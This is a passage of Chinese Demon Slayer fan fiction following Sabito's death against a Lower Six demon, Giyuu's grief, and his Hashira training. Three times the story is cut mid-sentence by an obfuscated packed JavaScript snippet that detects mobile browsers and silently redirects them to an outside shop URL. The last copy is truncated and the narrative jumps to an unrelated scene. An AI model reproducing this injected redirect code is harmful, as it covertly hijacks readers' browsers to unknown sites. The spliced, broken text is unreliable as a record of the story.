村田在躲避的时候,看到落在地上的箭头:“这些箭上也有毒!” 锖兔和富冈义勇紧绷着身体,抵抗着防不胜防的弓箭。 诡异的雾还在蔓延,即使他们能拦住弓箭,也抵不住雾气的毒。 而且周围太安静了。 如果真的是鬼潜入,甲级队员不可能没有动作。 现在什么动静都没有,只能说明所有的甲级队员被拖住了。 他们必须自救! 眼下没有救援,他们只能撑到天亮! 但,该怎么办? 怎么办? 他们现在就像靶子一样站在这里。 “锖兔,村田,去右边!”富冈义勇挡住又一支弓箭,“那边有掩体!” “你们先走!”锖兔自觉断后,让两个人先往那边跑。 富冈义勇想跟着一起,但想到自己的实力比不过锖兔,咬了咬唇,只能带着村田往右边跑。 在拦截弓箭的途中,锖兔也在朝右边不断移动。 但弓箭的攻击速度越来越快,锖兔漏了一只,只能转身斩断箭身:“小心!” 富冈义勇感受到破空声,却来不及躲避,只能极限地侧过头。 箭头直接打到了他的面具上,面具被击碎,卸去了箭头的力道,但仍旧刮伤了富冈义勇的额头。 血液瞬间涌出! “义勇!”锖兔大声喊着。 箭头上带的毒性比雾气带的毒蔓延更快。 富冈义勇摔倒在地,一手用刀拄着地面,一手捂着自己的额头。 滚烫的血液从指缝间流出,麻痹的毒素顺着全身开始蔓延。 不行!不能再这样下去了! “村田,带义勇走!”锖兔握紧刀,用出水之呼吸的十之型,生生流转。 锖兔一边拦住射来的弓箭,一边直接冲着往前走。 得把鬼拦住这里! 富冈义勇半跪在原地,模糊的视野里,只有锖兔义无反顾的背影。 他伸出手,想要拦住锖兔。但毒素已经蔓延开,意识开始昏沉。 说不出话,呼吸也变得急促。 又一次,他什么也没有做到。 富冈义勇陷入了黑暗。 村田咬着牙,抱着富冈义勇就往面前跑。后面传来打斗声,一声又一声清脆的刀鸣,让村田忍不住眼角的热意。他腾出手,将笛子放到自己的嘴里。 然后用力地吹响。 拜托了! 快来人救救锖兔! 救救富冈! 笛声,没有响起。 另一边的锖兔,凭借生生流转靠近了一直在偷袭他们的鬼。 在看到雾姬眼里的下弦六字样时,他惊讶地睁大眼睛。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153501|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没有犹豫,转换姿势,使用一之型,精准地看向鬼的脖子。 一直在攻击锖兔他们的,正是下弦六的雾姬。 雾姬的血鬼术是将血雾化。普通的雾可以自由蔓延,让吸入的人陷入昏迷。 而雾气无形,她可以操控雾气变成各种武器,她不善近战,最喜欢用的就是弓箭。 这座山上有很多鬼杀队的人,但她手里同样有很多的人质。 她分出无数个自己,毒晕了那些尚不成气候的少年少女。那些甲级队员反应确实迅速,很快就找到了自己的分身。 但她可是下弦里最擅长远攻的,为了保护那些可怜的小孩,看着那些甲级队员奔走的样子,可真是有趣。 雾姬笑着眨了眨眼,看着努力靠近自己的锖兔,眼中的兴意更浓了。 明明还只是个新人,却有这么强的能力。 有趣。 在锖兔的刀即将触碰到她的脖颈时,她突然变作雾气消失了。 锖兔在原地站定,单手捂着自己的胸口。 刚刚他为了靠近雾姬,吸收了不少雾气,虽然用呼吸抑制了毒素的蔓延,但这样下去,他会先撑不住。 不能停下。他必须拦住这个鬼,保护好山里的人。 破空声再次出现,锖兔快递地躲开,咬紧牙关,调整自己的身体,不断地用出水之呼吸。 他试图靠近雾姬,却又很快会被她拉开距离。 随着打斗区域的转移,锖兔还见到了不少昏迷的人。 他一边追击雾姬,一边帮昏迷的人拦住弓箭。 像是猫捉耗子一样,雾姬拉远了距离,一支箭一支箭地放着,目标正是他们附近那些昏迷的人。 锖兔用出流流舞,迅速地替昏迷的人挡下弓箭。 “铮!铮!铮!” 刀身与箭头不断碰撞,发出清脆的响声。 她不想那么快地杀掉面前的这个人了。她要耗尽他的力气,然后捉着他,让他亲眼看着自己杀掉他保护的人。 到那时,他脸上的表情一定很好看。 锖兔喘息着,毒素已经在蔓延。他看了眼手中的刀,因为只是最普通的刀,在一次又一次的抵挡中,逐渐出现了豁口。 这样下去不行。 必须想办法! 又一次替人拦下弓箭时,锖兔忽然听到一声脆裂的声音。 他的刀,断了。 锖兔瞪大了眼睛。 而在下一秒,弓箭就射了过来。 比之前更快,力道也更强。 他挡不住! 锖兔迅速抬手,将身前的人扔远。 下一秒,弓箭穿透了他的心脏。 “唔!”锖兔整个人被弓箭带走,后背直接撞到了树干上。 锖兔的嘴角溢出鲜血:“咳!” 见到锖兔中招,雾姬也不再戏弄他。 尖锐的笑声响起,她靠近锖兔,抬起他的下巴。 “真是俊俏的少年。”雾姬摘掉了锖兔的面具,抚摸锖兔脸颊上的伤疤,“我猜,你是不是还在指望有人能来救你们?” “嗬嗬嗬。”低沉而难听的笑声。 弓箭上有毒,锖兔感觉到自己身体慢慢动不了。 “没有人会来救你们。”雾姬拍了拍锖兔的脸,“因为我可是有很多个哦。” 锖兔睁大了眼睛。 甲级队员来不了,是因为雾姬拦住了他们! “老实说,你们的甲级队员的确很厉害。但这座山上的所有人,都是我的人质。” “你们,赢不了我。” “嗬嗬嗬。” 雾姬掐住锖兔的脖子,看着他眼底因为愤怒而蔓延开的血丝:“这幅不甘的样子真是好看啊。” “想杀了我吗?想去救你的朋友吗?” “你做不到哦。” “因为刚刚那两个人跑的地方,也有另一个我哦。” 锖兔的手攥紧,他试图控制自己的身体,拿着断刀的手再次握紧。 “哦~还在努力呢。真是倔强的孩子啊。”雾姬捂着脸笑,一脸的不在意。 七之型,水滴波纹次。 锖兔用尽全身的力气,将水之呼吸里最快的击刺技用了出来。 即使是断了刀,也有着锋利的刃。 人的意志,永远要比鬼坚定。 去死吧,鬼! “咔嚓!” 看到雾姬脖子掉下来的那一刻,锖兔笑了出来。 轻敌,永远是鬼最大的弱点。 即使面前这个不是本体,也多少给这个鬼造成伤害了。 雾姬的脑袋落到地上。 她满脸的惊讶,完全不相信眼前的这个人怎么能爆发出这样的力量。 头被砍了下来,雾姬的身体开始化作灰尘,由血鬼术生成的弓箭也消失了。 锖兔跌坐在地上,身上再无半分力气。 他撑着抬起头,天空不再是一片漆黑,而带了些许亮色。 天要亮了吧。 义勇,抱歉啊,明明说好以后一起做任务。 是我食言了。 锖兔闭上了眼,走向他的黑夜。 4. 第 4 章 富冈义勇醒来后,最终选拔已经结束了。 他昏迷了七天,醒来时已经被送到了医疗室。 富冈义勇挣扎着想要起身。 村田跪坐在富冈义勇旁边,身上也带着伤,额头和胳膊上都用绷带包扎着。 村田见富冈义勇醒过来,连忙出声:“别乱动,你的伤还没好。”。 富冈义勇捂着自己的脑袋:“锖兔呢?他怎么样?” 村田放在膝盖上的手攥紧,语气低沉:“锖兔他,牺牲了。” 那天晚上,锖兔直接和鬼对上。他不想锖兔和义勇死,直接吹响了笛子。 但比笛声先响起的,是箭被射出的破空声。 不过或许是村田的运气好,在那一刻,他体内的毒正好蔓延开,抱不住富冈义勇的他直接跪倒在地面,躲过了致命的一击。 也是因为这样,笛子没有被吹响。 就在村田以为自己死定的时候,身上带着伤的甲级队员出现了。他拦住了雾姬的后续攻击,村田也在毒素作用下昏迷了过去。 村田身上的伤没有富冈义勇那么重,在前几天就醒了过来。 而锖兔,他被发现时,他的心脏完全被贯穿,血流了一地,呼吸也早已停止。 断刀掉落在他的身侧,周围全部是打斗的痕迹。 甲级队员们分析,锖兔对上的,正是雾姬的本体。 雾姬本想消耗完甲级队员体力之后一网打尽,却因为轻敌,被锖兔砍掉了头。 本体死亡,其他的分身也都消失了。 甲级队员有了余力,立马展开了救援。 最终选拔是被提前结束的,因为所有参与者都中了雾姬的毒,陷入了昏迷。 最后统计参与者的情况,发现只有锖兔一个人牺牲了。 锖兔护住了他路上遇见的所有人,除了他自己。 “什,什么?”富冈义勇脑海瞬间变得空白。 锖,锖兔,死了? “义勇!听姐姐的话!躲起来!” “村田,带义勇走!” 一次又一次,他只能看着身边的人为了保护他而死。 帮不上什么忙,什么都做不到。 止不住的泪水从眼眶涌出,无法抑制的悲伤仿佛在心间炸开。 为什么…… 为什么…… 为什么他谁也保护不了! 姐姐死了,锖兔死了。 为了这么弱小的自己,真的值得吗?! 因为哭得太狠,他又伤到了脑袋,富冈义勇很快又昏睡了过去。 等再次醒过来时,富冈义勇看到了鳞泷左近次。 见富冈义勇准备起身,鳞泷左近次直接抬手按住了他:“躺着就好。” 富冈义勇见到老师,又忍不住想哭:“对不起……都是因为我,锖兔才死的。” 鳞泷左近次摇摇头:“这是锖兔自己的选择。义勇,不是因为你。” “不要责怪自己。” 富冈义勇反驳:“不,都是因为我太弱!锖兔是为了保护受伤的我才和鬼搏斗的!” 鳞泷左近次擦去富冈义勇眼角的眼泪:“锖兔保护了所有人。” “没人会想到下弦鬼会突然出现在藤袭山。因为下弦六的袭击,这次选拔的所有参与者,都被判作了合格。” “最终选拔的目的就是为了让你们接受历练。和下弦鬼对上,是你们所有人宝贵的经验。” “我什么都没有做到。”富冈义勇不承认自己的资格,“进去山里,锖兔一直在保护我,对上鬼也是锖兔在主攻。下弦鬼出现,锖兔更是为了保护我才跟她对上。” “我根本谈不上合格!我根本没有资格加入鬼杀队!” 泪水从眼眶中不断涌出,不知道第几次打湿了被褥。 自责,愧疚,不甘,让富冈义勇无法接受这个事实。 为什么?为什么? 为什么?! 要一次又一次从他身边夺走珍视的人! 鳞泷左近次不知道该如何劝慰面前的孩子。 锖兔的死,鳞泷左近次也很心痛。 这个温柔善良的孩子,和自己以前的弟子一样,在讨伐鬼的过程中失去了生命。 下弦鬼的出现,出乎所有人的意料。这件事甚至惊动了尚在病中的主公。 主公听闻这件事,非常动怒,直接召开了柱合会议。 下弦鬼的突然出现无疑打了鬼杀队一个措手不及。 除了藤袭山,鬼杀队还有像是为他们锻造刀的刀匠村这类重要据点,由于无法确定鬼只发现了藤袭山的位置,还是其他位置也一同暴露。 几个柱都被安排了新的任务,去确保这些据点的安全。。 而这一届参加最终选拔的人,几乎都和下弦鬼碰上了面。主公直接下令,判了所有人合格。 原本按流程来讲,所有合格的队员都需要集中进行一段时间的特训,期间会有柱亲自指导他们。 但现下原本的据点无法确认安全,为了这些新人的安全着想,再加上柱也都不在,原本该参加的特训也取消了。 后续的一切事宜都要重新商议。 富冈义勇回到了狭雾山,将锖兔的衣服和姐姐的衣服拼接在一起,织成了一件羽织,然后穿在了身上。 原本还会露出开心笑容的他,仿佛失去了所有鲜活的情绪,变得沉默寡言起来。 作为水之呼吸的使用者,心绪该如水面一般平静无波。但对于现在的富冈义勇来说,比起平静的水面,他的心绪更像是一汪死水,没有生机。 他不再多说什么,只是在疯狂地训练,不断地提升自己的实力。 富冈义勇知道自己的变化,也明白自己需要活着。 他想变强,想要不再有人为了保护他而失去生命。 他要去当那个守护别人的人。 鳞泷左近次没能拦住富冈义勇,远远看着的他,每次都会被那双眼里的黯淡刺痛。 富冈义勇知道自己的极限在哪里,会在累得动不了的时候,停下所有动作去休息。 “老师,我没事的。” 鳞泷左近次帮富冈义勇处理着后背的淤青,听到了他平静不带起伏的声音。 怎么会没事呢?只是痛习惯了,便不在意了。 鳞泷左近次沉默着。 他知道富冈义勇什么都明白。 富冈义勇有好胜心,对规则的执行也有一些偏执。 训练时是会一丝不苟,让自己做到最完美。 劈开石头是鳞泷左近次给出的考核。 只有完成这个考核他才能参加最终选拔,所以他每天都在努力,只为了把劈开石头。 在富冈义勇眼里,最终选拔的目的是锻炼他们的实战能力。可他在选拔过程中,什么也没做到,只是被锖兔保护着。后面更是因为受伤,就这样睡了七天。 即使下弦鬼的出现是意外,但在他的眼里,这样的他,根本算不得通过了考核。 虽然主公承认了他们的资格,但在他的心里,鬼杀队不该有他的位置。 这是富冈义勇内心中认定的事实,是谁也无法去改变的。 等确保所有据点的安全后,这批新人的特训也姗姗来迟。 地点在主公住处的附近,所有新人在参加训练前都会和主公单独见一面。 富冈义勇也不例外。 “义勇。”温柔而平和的声音。 富冈义勇单膝跪着,低着头:“是。” 产屋敷耀哉站在富冈义勇的身前,眼里的情绪带着担忧。 正如鳞泷左近次不知道该如何劝慰富冈义勇,产屋敷耀哉也不知道该如何让富冈义勇改变。 毕竟他们所想说的话,义勇他自己其实也都明白。 产屋敷耀哉走近富冈义勇,拍了拍他的肩膀,示意他站身。 富冈义勇不明所以,但还是老实地站起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153502|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “义勇,无论如何,在我心里,你都是名副其实的鬼杀队成员。我希望你能明白这份认可,好好地走下去。”产屋敷耀哉看着富冈义勇,缓缓说着。 选拔赛的意外中断,在富冈义勇心里是既定的事实。 他没有杀掉一个鬼,甚至直接昏迷了七天,这都说明了他没有资格。 这是富冈义勇最大的心结,也是无论别人说什么,都无法改变的。 富冈义勇愣神。 认可?这样的他,真的配主公的认可吗? “义勇。”产屋敷耀哉抚摸着他的脑袋,“后面的训练会很辛苦,到时候要照顾好自己。” 这份心结,只能随着时间渐渐淡化。希望有一天,他能看到这孩子的笑颜。 富冈义勇告别了产屋敷耀哉,跟着人群去领取队服和鎹鸦,以及挑选属于自己的玉钢。 领取队服前,会有人给他们测量身体的尺寸,再刻上阶级。 所有新人现在都是最低级的癸级,后面随着实力的提升,可以慢慢提升阶级。 在测量完身体数据后的没多久,富冈义勇就拿到了自己的队服。 他掂了掂,发现很轻。 “队服的材料是特制的,可以防火、防潮,还有着很好的透气性,甚至可以抵御一些低级鬼的物理攻击。”组织者向所有人介绍,然后拍了拍手。 每个人的身边,就飞来了一只乌鸦。 黑色的乌鸦落在富冈义勇的肩头,声音沉稳:“你好,我是宽三郎。” 听见这句话的富冈义勇呆滞。 乌鸦,会说话? 宽三郎歪了歪头。 富冈义勇眨了眨眼,礼貌地说出自己的名字:“你好,我是富冈义勇。” 等到大家都熟悉了自己的乌鸦,组织者继续道:“现在请依次上前选取自己的玉钢。” 玉钢是制作日轮刀的材料,由刀的主人自行选取。在选定后,又有刀匠为他们打造,工期大概在十到十五天。 特训会持续一个月,等到训练结束,可以离开这里的时候,就能拿到属于自己的日轮刀了。 在排队的过程中,宽三郎一直站在富冈义勇的肩头,撑着单边翅膀,去蹭他的脸颊。 羽毛很软,还有些温热,让富冈义勇想起来自己家人以前的手。 他微微垂下眼眸,不让自己回想过去,以免眼泪又不受控地落下。 “义勇是个好孩子呢。”宽三郎这样说着。 在富冈义勇想要独自坚强时,宽三郎偏偏不想放过他。 “我们义勇最乖了。” “在姐姐心里,义勇一直都很坚强。” 富冈义勇猛地闭上眼,缓解眼角的涩意。 “富冈……”村田排在富冈义勇的后面,见面前的人已经往前走,但富冈义勇还一动不动,就有些担心。 他见过富冈义勇之前崩溃哭泣的样子,担心他还在锖兔的心内疚,就出声叫出了他的名字。 听到熟悉的声音,富冈义勇睁开眼睛,一抹晶莹挂在眼角。 他抬手擦去,才注意到前方空出的位置,连忙往前走了几步。等重新站定,他才回头去看。 村田见富冈义勇看向自己,朝他挥手。 富冈义勇点头示意,就收回了视野,跟着队伍前进。 村田叹了口气。 现在的富冈和刚遇见的那会不一样了。那双漂亮的眼睛里,没有光芒了。 真让人担心啊,富冈。 前方的富冈义勇让宽三郎落在自己的胳膊上,摸了摸他的脊背:“让我一个人静一静,好不好?” 宽三郎察觉到他的心情有些不好,用脑袋蹭了蹭他的手背,就振翅飞走了。 富冈义勇闭了闭眼,又重新睁开,将一切悲伤藏于心底。 在众多的玉钢石里,他挑选了最顺眼的一个。 石头被专人带走登记,他被人带着走进一间教室。 特训,正式开始了。 5. 第 5 章 特训为期一个月,分为理论和实战两部分。 理论由甲级队员负责讲解,包括鬼杀队的人员构成、运行模式、任务的接取,不同等级队员的待遇以及涉及鬼的基本常识等等。 富冈义勇也因为理论课上更加了解鬼杀队了。 在正式成为鬼杀队队员后,鎹鸦来给他们传递任务的信息。 在鬼杀队里,几乎所有队员的任务都是统一被安排的,不需要队员自己领取。 而对于信息来源,都要归功于鎹鸦一族。 没有主人的鎹鸦会在世界各地停留,留意当地的异常状况。一旦发现问题,就会立马传递信息出去,让他们派人前往救援。 理论课还专门讲了后勤部门的不同职能,让这群人在后面执行任务时可以按需前往。 理论课一共持续三天,前两天由专人讲课,第三天则用来考试。 只有理论考试过关的人,才能参加后面的实战训练。 如果理论考试考不过,就要一直考下去,直到合格为止。 想要进鬼杀队的人都是有志青年,怎么可能让区区理论考试耽误自己的进步,所以几乎绝大多数的人都在第三天的考核中合格了。 而富冈义勇,作为理论考试的满分选手,顺利进入实战训练。 当前的柱只有两个,一位是岩柱悲鸣屿行冥,一位是音柱宇髓天元。 宇髄天元负责队员的肉.体训练,悲鸣屿行冥负责队员的意志训练。 在完成理论考核后,合格的队员会先到宇髄天元所在的训练地点。等这里的训练达标,才能前往悲鸣屿行冥负责的区域,进行下一阶段的训练。 在所有人到齐后,宇髄天元首先进行了自我介绍:“我是宇髄天元,当前的音柱,所用呼吸为音之呼吸。” “在后面的几天里,我会跟着你们一起训练。” 宇髄天元的刀背在身后,有着一头美丽的白发,额上的发饰镶嵌着数颗宝石,左眼的眼周还涂有放射状的红色妆容。 整个人十分华丽。 这个人,好高,而且好闪。 富冈义勇仰头看着面前的人,暗自在心里感叹。 “自我介绍就到这里,现在开始训练吧。”宇髄天元抬起手里拿着的木刀,刀尖冲着的方向就是他们的训练地点。 训练需要脱掉上衣,富冈义勇将自己的羽织收好,和穿着的衣服一起放在专门的柜子里。 一群人赤膊着身体站在一起,脸皮薄的人还有些不好意思。 对此,富冈义勇一切如常。 他没有去看别人,认真地看着前面的区域。 他们的任务很简单,就是从山脚跑到山顶,到山顶的空地上后,再进行负重练习。 在路上会存在各种障碍,他们需要跨越过去,还要保持一定的速度。 听到这样的描述,富冈义勇不禁歪了歪头。 总觉得这和老师的训练有些相似。 不过宇髓先生没有说具体的速度有多少,那就以他最快的速度试试吧。 在宇髄天元说了开始后,富冈义勇就一溜烟地跑了过去。 “哟,这个人很不错啊。”宇髄天元将木刀扛在肩上,语气带着赞叹,“这动作和我一样的华丽,就是这个气质也太阴沉了。” 在奔向山顶的路上,富冈义勇一直在调整自己的呼吸,让自己尽量以一样的速度跑下来。 在前半程他还撑得下来,但到后半程他的体力就有些跟不上。他估算了一下后面的路程,开始放缓自己的步伐。 他的身法很流畅,躲避障碍也很行云流水。 富冈义勇记得老师所说的,全集中呼吸法是可以一天24小时不间断进行的。 在来训练前,他已经在尝试,只是还没有成功。 那在特训的这段时间里,也继续尝试吧。 富冈义勇看着面前的障碍,没有丝毫的畏惧,心中只有对变强的渴望。 蹲在树枝上看着这群新人跑步的宇髄天元一脸欣赏地看着富冈义勇。 这小子很有潜力啊。 富冈义勇跑到山顶后,其他人还没上来。他缓缓调整自己的呼吸,让有些紊乱的心跳变得平静。 没过多久,就有人也跑到了山顶,大多数不像富冈义勇一样游刃有余,跑上来几乎花了全身的力量,只能躺倒在地。 富冈义勇看到了村田。 村田比其他人好些,虽然没瘫下来,但也在扶着膝盖喘息。 等到所有人上来,宇髄天元让大家休息了一会,就开始了新一轮的训练。 负重训练主要是背着装满石头的竹筐进行深蹲和原地跑,完成相对应的数量才算合格。 等天黑以后,他们也不能完全休息。因为鬼只在夜晚出现,他们必须要有在黑夜中战斗的能力。 宇髄天元让所有人把他当做鬼,而他会对所有人发动攻击。他们的训练内容,就是躲过他的攻击。 宇髄天元是忍者出身,行动悄无声息,速度和力量并不是这群新人能比的。 富冈义勇最开始也躲不过攻击,身上被打出不少淤青。 不是没有人抱怨。 作为新人,他们怎么可能打得过柱? 但富冈义勇清楚,在和鬼的战斗中,没有鬼会去管你是不是新人。 他们只会毫不留情杀人。 只有足够的实力,才能杀掉鬼,而不是被鬼杀掉。 在休息时,富冈义勇仍在继续全集中常中的练习。 全集中常中的练习并没有那么简单。在使用完全集中呼吸法,正常人的身体都会有不同程度的不适。 “咳,咳咳。”富冈义勇捂着胸口,轻咳出声。 他放松身体,让肺部的刺痛缓缓褪.去。 宇髄天元来到富冈义勇耳朵身侧,支着脑袋看他:“在练习全集中常中?” 老实说,宇髄天元这样喜欢华丽的人,其实并不喜欢富冈义勇这般沉默寡言的样子。 他不喜欢低调,而富冈义勇却总是面无表情。 即使身体十分疲累了,那副扑克脸也没有丝毫变化。 这让宇髄天元想到过去的自己,让他心中无端生厌。 宇髄天元明白,这和富冈义勇并没有关系。而且他虽然不喜欢富冈义勇的性格,但他欣赏努力的人,愿意为这样的人指点迷津。 富冈义勇点头。 “有什么想问的吗?只限今晚,我可以知无不言,言无不尽。”宇髄天元眨了下自己的右眼。 富冈义勇也扭头看他,沉默了一会:“宇髓先生带着这么多的宝石发饰,会觉得累吗?” 嗯? 嗯?! 宇髄天元挂着笑容的脸僵住,在心里告诫自己不能生气,一字一顿地回答:“不累。” 富冈义勇点了点头,表示自己明白了,然后继续自己全呼吸常中的练习。 宇髄天元的额头冒出青筋,然后在生气之前,被自己的三个夫人拉走了。 他果然不喜欢这个阴沉脸的臭小子! 宇髄天元设定的训练是为了让这些队员在遇上鬼的时候有自保的能力,所以即使再有人喊苦喊累,也没有停下对他们的严格要求。 有坚持不下来的,自然也有能坚持下来的。 在连续训练了十天以后,富冈义勇已经完成了宇髄天元定下的目标。 在富冈义勇完成要求后,宇髄天元高兴地拍了拍他的后背,示意他可以去岩柱那里进行下一轮训练了。 富冈义勇被拍得只觉得背疼。 在训练期间,他都是独来独往,没怎么和其他人交流。在离开前,他本想默默离开,却没想到其他人都来送他了。 “富冈,要加油啊。” “富冈,等着我们,我们会很快追上你的。” 一群人朝他挥手,脸上纷纷带着笑意。 为什么? 富冈义勇不明白。 为什么要来送这样的他? 富冈义勇对着宇髄天元和大家微微欠身,然后一话不说地离开了。 “富冈果然很帅呢。” “我也要学富冈!冷着脸真的好酷啊!” 富冈义勇更加不懂了。听着身后的那些话语,他只觉得自己的脸有些升温,然后加快了离开的步伐。 这些年里,他除了锖兔以外没交过别的朋友。 他好像有些忘记了,该怎么和他人交流。 根据指引,富冈义勇来到了岩柱负责的区域。 在快到的时候,富冈义勇听到了哗啦哗啦的水声。等走近,发现这里有一条湍急的瀑布。 似乎是注意到有人来,瀑布下面打坐的人站了起来。 富冈义勇睁大了眼。 这个人比宇髄天元还要高! 岩柱,悲鸣屿行冥,额头上有一条极长的伤痕,眼睛是纯白色的,脖子上戴着一串红色念珠,手里也拿着一小串念珠。 成为柱的人,都要这么高吗? 富冈义勇不禁这么想着。 悲鸣屿行冥从瀑布下走出来,靠近富冈义勇。 “是新来的队员吗?”悲鸣屿行冥的声音低沉稳重,听上去就很有分量。 富冈义勇留意到他的眼睛,出声“嗯”了一下。 “我是岩柱,悲鸣屿行冥。负责的训练主要是为了培养你们的意志力以及腰腿部分的力量。以强韧的腰腿稳住身体,才可能实现精准的攻击和稳固的防御。”悲鸣屿行冥道。 他指了指旁边的河流:“训练内容就是淋瀑布,需要从这里进去,一路走到瀑布下面,承受瀑布水流的冲刷。” 悲鸣屿行冥想了想,补充:“在淋瀑布的时候,可以念佛经。这样既可以集中意识,也能让人察觉到你还有意识。” 富冈义勇回答:“好,我明白了。” 他靠近河流,蹲下身,伸手感受了一下水流的温度。 有些冰。 他看了看周围,起身用刚刚泡过水的手摸了摸石头。 嗯,石头摸起来有点温暖。 “悲鸣屿先生,我去训练了。”富冈义勇和悲鸣屿行冥打了个招呼,就开始了新的训练。 他调整呼吸,开始全集中常中的练习。 他进到水里以后没有马上行动,等身体适应了河流的温度才慢慢向前走。 在平地上,河流的流速很缓,只是温度非常低,训练的难度还是在淋瀑布本身上。 富冈义勇抬头看了看,伸手感受了一下瀑布的砸下来的力道。 嗯。还行,死不了。 他继续保持着全集中的呼吸,然后站到了瀑布的下面。 水流很重,几乎压得他抬不起头。 水温也很低,浇到身上后仿佛会带走全身的温度。 在坚持了一分钟后,富冈义勇离开了瀑布。 经过这么多年的训练,他很清楚自己的身体极限在哪里,不会再让自己随随便便晕过去了。 在离开瀑布后,富冈义勇甩了甩头。头发被淋湿,这让他有些不舒服。 富冈义勇轻轻咳了咳,捂着胸口,呼出一口气。在淋瀑布的时候,还是很难坚持下来全集中的呼吸。 悲鸣屿行冥一直在关注着富冈义勇,见他从瀑布下面离开,又很是冷静地靠在石头上。 很理智的小孩。 悲鸣屿行冥走到一个空地,燃起篝火,在富冈义勇缓过来后,让他来这边休息。 “你在压抑心中的悲伤吗?”悲鸣屿行冥忽然开口。 富冈义勇看着劈啪作响的火堆,不知道该如何回答。 在锖兔死后,他刻意控制着自己的思绪,不让自己回想过去。 爸爸,妈妈,姐姐,锖兔。 家人,同伴。 一旦想起这些,他就想要哭泣。 但流泪解决不了任何问题,只会彰显自己的软弱。 “嗯。”富冈义勇还是应了一声。 悲鸣屿行冥转动手里的念珠:“悲伤的情绪会让人向前,但刻意的压抑可能会带来隐患。” 富冈义勇也明白,但如果任由悲伤蔓延,他只会什么也做不了。他不想再无能为力了。 “没有办法。”富冈义勇回答道。 悲鸣屿行冥伸出手,揉了揉富冈义勇的脑袋:“那就交给时间吧。” 很温暖的手,很善良的人。 “嗯。”富冈义勇抬头看向悲鸣屿行冥,“我可以问一个问题吗?” “请说。”悲鸣屿行冥收回手。 富冈义勇充满疑惑地问:“是只有长得高的人才可以成为柱吗?” 宇髄先生看上去已经有两米了,而悲鸣屿先生比他还高。 柱的含义,除了实力最高,难道还指身高最高吗? 面对这个问题,悲鸣屿行冥一时无言。 他想了想:“成为柱,对身高没有要求。” 原来如此。富冈义勇点了点头,“嗯”了一下。 悲鸣屿行冥侧头看着富冈义勇。 这孩子似乎比他还不会聊天。 在后面的几天训练里,悲鸣屿行冥发现富冈义勇并不需要他过多的操心,他的关注更多放到了后面来的队员上。 有人会错估自己的身体极限。 有在瀑布冲刷时失去意识的,有因为河流冰冷而冻得人事不省的,还有因为身体疲惫,忘记吃饭的。 富冈义勇从始至终都很冷静,一丝不苟地执行他安排下去的训练内容,不需要其他人额外的操心。 虽然富冈义勇不怎么说话,但在所有人眼里,已然成了榜样。 “天才的世界果然不是他们这等凡人能理解的。” 这句话富冈义勇经常能听到,却从未当作是说自己。 所谓天才,是锖兔才对。 就像全集中常中,锖兔已经学会,而他还坚持不下去一样。 坐在火堆边,富冈义勇拧干头发上的水,放到自己的身前,让火慢慢烤干。 淋瀑布的训练对他来说有些困难,虽然能撑够悲鸣屿先生说的时间,但他还是做不到在水流作用下保持全呼吸。 而且水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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富冈义勇摇头,将自己嗓子受过伤的消息说了出去。 女医生点点头,表示明白了,然后就去给他配药。 村田陪着富冈义勇坐在这里,听到他提及过去,难免心中一痛。 在他们这一届里,富冈义勇是最小的那一个。 他们大多都有着悲惨的经历,没有谁比谁更被可怜一说。训练过程中大家经常会聚在一起聊天,话题的中心也经常是富冈义勇。 因为他足够强,又足够努力。 没人会轻视他。 而且还因为锖兔的关系,大家其实都很关注他。 他们都知道,是锖兔是为了保护他们而牺牲的。 他们心里充满着感激,却也不知道该如何和富冈义勇相处。 富冈义勇和锖兔是同门,他们理应多多关照他。 只是他们也明白,锖兔的死,富冈义勇是最难过的那一个。 他们不知道该怎么和富冈义勇搭话,而富冈义勇也不善说话。 两边就这样保持着微妙的平衡,直到富冈义勇突然生病。 村田在医疗室陪着富冈义勇,等药好了以后还紧盯着他喝药。 外面休息的人想着生病的人需要吃点好的,凑在一起琢磨搞点什么出来。 “这几天为了省事,咱们一直在吃烤鱼。要不煮点鱼汤出来?” “我觉得可以。富冈嗓子不舒服,喝点汤汤水水总比直接吃鱼肉舒服。” “好!那就来做鱼汤吧。” 富冈义勇喝完本来还想回去训练,却被女医生拦住。 因为治疗的药带有安眠的成分,他如果回去训练,很有可能睡在水里,很危险。 而且他的嗓子暂时受不得刺激,还需要静养才是。 富冈义勇被村田催促着躺到了床上,又被盖上厚厚的被子。 村田笑了笑:“富冈,让自己休息一下吧。等病好了,再来训练。也要让我们这群人努力追上你的脚步啊。” 困意已经涌了上来,富冈义勇眨了眨眼。 村田揉了揉他的脑袋,轻声说:“睡吧。” 富冈义勇闭上了眼,眼角不由自主地流下眼泪。 他想他的家人了。 村田帮他擦去泪痕,又掖了掖被角,这才出了医疗室。 然后就看到一群人周围门口。 “富冈怎么样了?” “医生怎么说?” “我们煮了鱼汤,富冈要喝吗?” 村田无奈地看向他们,将手指放在唇边:“嘘!小声点。富冈睡着了。” 